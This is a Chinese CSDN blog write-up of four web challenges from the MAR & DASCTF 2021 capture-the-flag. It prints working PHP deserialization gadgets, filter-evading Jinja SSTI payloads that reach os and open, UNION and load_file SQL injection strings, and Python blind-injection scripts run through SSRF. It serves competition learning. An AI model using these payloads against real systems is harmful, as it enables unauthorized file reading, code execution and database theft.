MAR & DASCTF 2021

最新推荐文章于 2023-01-05 16:25:05 发布
最新推荐文章于 2023-01-05 16:25:05 发布
阅读量550 收藏 2
点赞数 1
分类专栏： DASCTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/jvkyvly/article/details/115465315
版权

ez_serialize

考察反序列化原生类

类	描述
DirectoryIterator	遍历目录
FilesystemIterator	遍历目录
GlobIterator		遍历目录，但是不同的点在于它可以通配例如/var/html/www/flag*
SplFileObject		读取文件，按行读取，多行需要遍历
finfo/finfo_open()	需要两个参数

感觉比较好用的就FilesystemIterator和GlobIterator 其他感觉没啥用。。。。
题目

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}  hello ctfer

<?php

class A{
	public $class='FilesystemIterator';
    public $para='var/www/html';
}
echo serialize(new A());

绝对路径也阔以用 ./和.代替(表示当前目录)

得到回显aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE

然后public $para='./aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE';

得到回显flag.php

最后用SplFileObject读就好

<?php

class A{
	public $class='SplFileObject';
    public $para='/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';
}
echo serialize(new A());

不过就是FilesystemIterator好像回显就只能返回第一位文件
如果flag所在的文件不是排在第一位的话，我们可能就没有办法得到flag。
借用yu师傅的图
在这里插入图片描述

baby_flask

其实这个昨天就搞好了，就是太晚了，然后今天再来写，复现这个题的时候挺高兴的，以为又有了投入的那种感觉，这是啥感觉呢，就是你知道你明天有课，然后应该睡觉了，然后你却忘记了时间还在那一直搞，然后搞的时候没有任何不舒服的地方，然后刚一搞完，你就察觉到你的头在痛。。。超级爽，那种感觉。。

转会正题
直接先放一下payload吧

{%set id=dict(in=a,dex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set oo=dict(o=a,s=a)|join%}
{%set ld=(xiahua,xiahua,dict(loader=a)|join,xiahua,xiahua)|join%}
{%set gg=(xiahua,xiahua,dict(g=a,et=a)|join,xiahua,xiahua)|join%}
{%set cc=dict(c=a,hr=a)|join%}
{%set pn=dict(po=a,pen=a)|join%}
{%set e=dict(e=a)|join%}
{%set g=dict(g=a)|join%}
{%set r=dict(r=a)|join%}
{%set one=(lipsum|select|string|list)|attr(id)(g)%}
{%set two=(lipsum|select|string|list)|attr(id)(e)%}
{%set five=(lipsum|select|string|list)|attr(id)(r)%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(five*five-one)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(buil=a,tins=a)|join,xiahua,xiahua)|join%}
{%set cr=lipsum|attr(gb)|attr(gg)(bl)|attr(gg)(cc)%}
{%set xiegang=cr(five*five*two-two-one)%}
{%set space=cr(five*two*two*two-five-two-one)%}
{%set shell=dict(ls=a)|join%}
{%print lipsum|attr(gb)|attr(gg)(ld)%}

然后吧这个题改简单了点，就是直接ls就爆flag了。。
然后思路的话，是先看一下lipsum|select|string|list有啥，就是最后shell的时候要用一些特殊字符。
然后一般里面有下划线_ 然后没有空格和斜杠，反斜杠啥的。一般有下划线就够了，就阔以构建__globals__啥的了，然后其他的后面阔以用chr函数。

然后构建下划线要数字，数字，count,length被过滤了，就只有用index来构建了，然后找chr函数，然后有chr函数就啥都有了，就改后的这个题而言不需要chr函数，因为直接ls就阔以出。一般还是要chr函数的。

{%set id=dict(in=a,dex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set oo=dict(o=a,s=a)|join%}
{%set op=dict(o=a,pen=a)|join%}
{%set ld=(xiahua,xiahua,dict(loader=a)|join,xiahua,xiahua)|join%}
{%set gg=(xiahua,xiahua,dict(g=a,et=a)|join,xiahua,xiahua)|join%}
{%set cc=dict(c=a,hr=a)|join%}
{%set pn=dict(po=a,pen=a)|join%}
{%set e=dict(e=a)|join%}
{%set g=dict(g=a)|join%}
{%set r=dict(r=a)|join%}
{%set one=(lipsum|select|string|list)|attr(id)(g)%}
{%set two=(lipsum|select|string|list)|attr(id)(e)%}
{%set five=(lipsum|select|string|list)|attr(id)(r)%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(five*five-one)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(buil=a,tins=a)|join,xiahua,xiahua)|join%}
{%set cr=lipsum|attr(gb)|attr(gg)(bl)|attr(gg)(cc)%}
{%set xiegang=cr(five*five*two-two-one)%}
{%set space=cr(five*two*two*two-five-two-one)%}
{%set shell=(xiegang,dict(proc=a)|join,xiegang,dict(self=a)|join,dict(cmdline=a)|join)|join%}
{%print lipsum|attr(gb)|attr(gg)(bl)|attr(gg)(op)%}

原题思路是，用open方法看下/proc/self/cmdline当前进程的完整命令
在这里插入图片描述
然后是在ls flask那个目录才出的flag。

然后就是构建数字那阔以用特殊的数字来绕过https://www.compart.com/en/unicode/bidiclass/EN
在这里插入图片描述
然后再细的话，阔以看看feng师傅的，写的很好传送门

SQL注入

考点：联合查询+load_file文件读取上来就给了SQL语句PHP$sql = "SELECT * FROM users WHERE id = '$query' OR username = \\"$query\\"";使query=2有回显，但是对于单引号进行了过滤，但是它给了username，通过username发现双引号是没有被过滤的，接着测试发现还过滤空格，payloadPlain Text查表

查表lisi"/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()# 
查列
lisi"/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name="f1agdas"/**/and/**/table_schema=database()# 
查数据
lisi"/**/union/**/select/**/group_concat(f1agdas),2,3/**/from/**/f1agdas# 
回显了一个flag.txt，应该是要去读数据了这里使用load_file()函数lisi"/**/union/**/select/**/(select/**/load_file(0x2f666c6167)),2,3#

这里读的文件是/flag，我也不知道为啥数据库要写flag.txt，这里对"/"也进行了过滤，可以用十六进制或者CHAR()绕过

ez_login

1.利用PHP_SESSION_UPLOAD_PROGRESS来初始化session
2.ssrf传sql注入，要url编码，而且bp不行，用python

<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }
    include("./php/check_ip.php");
    error_reporting(0);
    $url = $_GET['url'];
    if(check_inner_ip($url)){
        if($url){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
            $output = curl_exec($ch);
            $result_info = curl_getinfo($ch);
            curl_close($ch);
            }
    }else{
        echo "Your IP is internal yoyoyo";
    }
?>

目录扫描扫到一个admin.php
访问下发现只能从本地访问，加了个XFF也不行，看源码估计应该是利用SSRF从内部访问过去

分析代码，要利用SSRF得先绕过这个

<?php
    if(!isset($_SESSION)){
        highlight_file(__FILE__);
        die("no session");
    }


需要初始化session，这里需要利用PHP_SESSION_UPLOAD_PROGRESS来初始化session

session.upload_progress是php>=5.4添加的。最初是PHP为上传进度条设计的一个功能，在上传文件较大的情
况下，PHP将进行流式上传，并将进度信息放在session中（包含用户可控的值），即使此时用户没有初始化
session，PHP也会自动初始化session。 而且，默认情况下session.upload_progress.enabled是为开启的

# -*- coding: utf-8 -*-
import requests

url = 'http://183.129.189.60:10015/?url=http://localhost/admin.php'
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}

r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode('utf8'))

print(r.text)

然后bp抓包
初始化session后，利用SSRF根据之前的提示访问内网的admin.php
在这里插入图片描述
admin.php的注释里面有一个/yuanma_f0r_eAZy_logon.zip，访问下载得到se1f_Log3n.php

<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
    exit();
}else{
    try{
    $sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
    $result = $con->query($sql);
    echo $sql;
    }catch(Exception $e){
        echo $e->getMessage();
    }
    ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') )); 
}

布尔盲注，url编码一下payload，#（%23）两次编码
然后吧，不知道为什么我bp全url编码去打不行，用python

from urllib.parse import quote

payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or 1=1%23&password=mochu7'
print(quote(payload))

from urllib.parse import quote
import requests
import time
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}
ip = 'http://183.129.189.60:10015/?url='

flag=''
for i in range(1,300):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="http://localhost//se1f_Log3n.php?username=0'or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='secret'),{},1))>{}%23&password=1".format(i,mid)
        url=ip+quote(payload)
        r=requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
        if "correct?" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        print(low,mid,high)
    flag+=chr(mid)
    print(flag)

得到flag字段
最后

from urllib.parse import quote
import requests
import time
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'} 
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}
ip = 'http://183.129.189.60:10015/?url='

flag=''
for i in range(1,300):
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="http://localhost//se1f_Log3n.php?username=0'or ascii(substr((select group_concat(flag) from secret),{},1))>{}%23&password=1".format(i,mid)
        url=ip+quote(payload)
        r=requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
        if "correct?" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        print(low,mid,high)
    flag+=chr(mid)
    print(flag)

得到flag

Je3Z
关注
专栏目录
2021 DASCTF X BUUOJ 五月大联动WP
lifanxin的博客
05-30 1783
DASCTF X BUUOJ 五月大联动WP概述pwnDASCTF_X_BUUOJ_2021_ticketDASCTF_X_BUUOJ_2021_cardre总结 概述   这个五月我又参加了一次不留痕迹的ctf比赛，之所以叫不留痕迹，是因为总是拿不到好的名次????，比赛结束前1小时还能苟进前10，不过后面还是被反超了。不好在安慰自己，新手嘛，刚刚上路，稳扎稳打，持续努力，定有收获。   这个比赛完整环境可以在buuoj上找到，简单分析一下题目分布情况，pwn 2道，re 2道，web 2道，crypto
DASCTF2021—MISC赛后复现
Sapphire037的博客
04-04 2016
DASCTF—MISC赛后复现 1.简单的png隐写 下载得到一张flag.jpg 和hint.png，把png拖进tweakpng中查看，数据块有点问题,好像有两张图在里面（多谢八神的misc入门题） ，然后删掉前四个IDAT块保存得到另一张图 根据图中内容，用outguess解，89504E应该是密码 root:~/桌面/outguess-master# outguess -k "89504E" -r flag.jpg h1.txt Reading flag.jpg.... Extracting usa
【WP】DASCTF2021
車鈊的博客
06-06 860
补发WP ez_serialize 源码 <?php error_reporting(0); highlight_file(__FILE__); class A{ public $class; public $para; public $check; public function __construct() { $this->class = "B"; $this->para = "ctfer"; e
MAR & DASCTF 2021 baby_flask
feng的博客
03-27 3387
前言 周末又到了补作业的好时间，本来想逃一波作业来打打这个比赛，结果卡的我属实难受，把第一道web的ssti给做了就去补作业了，其他的web没来得及看，不知道还有没有复现了（哭）。 easy_SSTI(好像是叫这个？) 单纯的SSTI了，f12看一下给了黑名单： Hi young boy!</br> Do you like ssti?</br> blacklist</br> '.','[','\'','"',''\\','+',':','_',<
【CTF大赛】2021 DASCTF July cybercms 一探再探
A_991128a的博客
01-05 485
预期解是从后台登录处进行 SQL 注入写入一句话木马，然而咱在做题的时候尝试了另一种思路，用的是后台登录绕过 & 木马上传的打法。由于比赛的时候半天打不通就十分难受，赛后还是想不明白就来稍微深入探究了一下，经过曲折最后终于成功打通了。然而还是没打通，报错和上面的类似，也是 PHP 执行的时候文件目录没权限，只不过可以注意到文件名是。害，赛后看了看大佬的 wp，么得办法，还是得走 SQL 注入写入文件呗。都是可控的，任意改一个就完事了。过滤去掉了，另外把一些关键词过滤为空了，双写绕过就完事了。
mar29-2021:2021年3月29日队列的讲义和示例代码
03-31
在"mar29-2021-master"这个压缩包中，可能包含了详细的讲义文档，阐述了队列的概念、实现方式以及相关示例代码，帮助学习者深入理解和掌握队列的使用。通过学习这些材料，你可以进一步提升在JavaScript中使用数据...
X86Mar_2021:X86Mar_2021
04-18
行动OpenWrt 使用GitHub Actions构建OpenWrt 用法 单击按钮创建一个新的存储库。 使用源代码生成.config文件。 （您可以通过工作流文件中的环境变量来更改它。） 将.config文件推送到GitHub存储库。...
PYTHON_02_MAR_2021:02-MAR-2021 Python批处理程序
04-01
本压缩包文件“PYTHON_02_MAR_2021”可能包含了关于2021年3月2日进行的Python批处理编程的相关教程或示例代码。 在Python中，批处理主要通过编写脚本来实现，这些脚本可以自动执行如数据处理、文件操作、系统管理等...
minicurso_mar_2021
05-06
小型课程2021年3月：带有R减价的报告和文档 这是墨西哥生物信息网络提供的迷你课程“带有R标记的报告和文档”迷你课程的材料。 日期：2021年3月12日 ... usethis::use_course("ComunidadBioInfo/minicurso_mar_2021")
R_basic_tutorial_2021Mar:2021年3月BCB R基本研讨会指南
03-19
《R基础教程2021年3月版》是一份专为初学者设计的全面R语言学习指南。这个教程旨在帮助用户快速掌握R语言的基本概念、语法和常见操作，以便在数据分析、统计建模和可视化等领域高效工作。教程以HTML格式呈现，便于...
[MAR DASCTF明御攻防赛]enjoyit_1
Huangshanyoumu的博客
03-27 633
00 查看附件信息 C#、32bit 运行发现茶什么的，输入个1发现有回显，考虑分析代码 01 分析代码 将其拖入 dnSpy 32bit，右键进入入口点 主要代码 a： using System; using System.Text; using System.Threading; // Token: 0x02000003 RID: 3 internal class a { // Token: 0x06000004 RID: 4 RVA: 0x0000209C File Offset: 0x
Python中url的编码以及解码
热门推荐
Mogul的博客
09-07 1万+
当有些请求，或者地址中的汉字以及特殊符号不编码使用不了时候，则需要去把中文进行编码，有些地址拿到之后，需要进行解码，不然中文会变成百分号加几个字母和数字的形式 1.url编码 from urllib.parse import quote # 将字符串‘程序设计’进行编码 text = quote("程序设计", 'utf-8') print(text) # 打印结果 # %E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1 2.url解码 from urllib.pars.
8.5-练习
~airrudder~
08-06 586
目录SSRFSSRF扫描内网靶机SSRF攻击 Redis333333XXE漏洞XXE读取/flag和./flag.php无回显XXE读取/flagPHP代码执行Thinkphp5 代码执行phpunit代码执行1111 上一篇 | 目录 | 下一篇 SSRF http://10.20.25.44/: SSRF 扫描内网靶机 http://10.20.25.44:82/: SSRF攻击 Redis，redis 密码 root http://10.20.25.44:84/: SSRF攻击本地的 php.
Web漏洞之SSRF攻击汇总
小赵同学的博客
08-17 1311
SSRF（Server-Side Request Forgery）服务端请求为伪造，SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。 一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。 本文转发国光师傅的手把手带你用 SSRF 打穿内网。...
DASCTF
qq_53755216的博客
04-08 828
ez_serialize 题目网址： http://684f47cd-5c9d-41cb-ad29-98d48096cc9a.machine.dasctf.com/ <?php error_reporting(0); highlight_file(__FILE__); class A{ public $class; public $para; public $check; public function __construct() { $thi
DASCTF X GFCTF 2022十月 Misc
mumuzi的博客
10-24 3992
DASCTF X GFCTF 2022 10月
DASCTF-三月赛-web题复现
weixin_45800126的博客
04-15 915
title: DASCTF 三月赛 web题复现 date: 2021-04-07 15:04:52 tags: DASCTF BestDB 0x01 源码给了查询语句 $sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\""; 过滤单引号，但没过滤双引号，所以选择闭合后面的用户名进行union查询 查表名 query=-1"/**/union/**/select/**/group_concat(table_na.
flask sssti lab闯关记录
weixin_44576725的博客
04-14 3083
flask ssti lab闯关记录 sstilab是一个模板注入的靶场，目前只有Flask模板注入的练习 地址：https://github.com/X3NNY/sstilabs level 1 判断出是post方法 借用bp的intrude模块查看可以利用的类，这里查找的模块是__import__ 发现80、81、82、83可以有__import__模块，加以利用得到payload {{[].__class__.__base__.__subclasses__()[80].__init__.__gl
2022dasctf x su 三月春季挑战赛
最新发布
03-16
非常感谢您的关注和参与，2022年的DASCTF x SU三月春季挑战赛将会是一场精彩的比赛。我们将会为参赛者提供丰富多彩的挑战，让大家可以在比赛中不断提升自己的技能和能力。希望您能够积极参与，共同创造一个充满挑战和乐趣的比赛。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值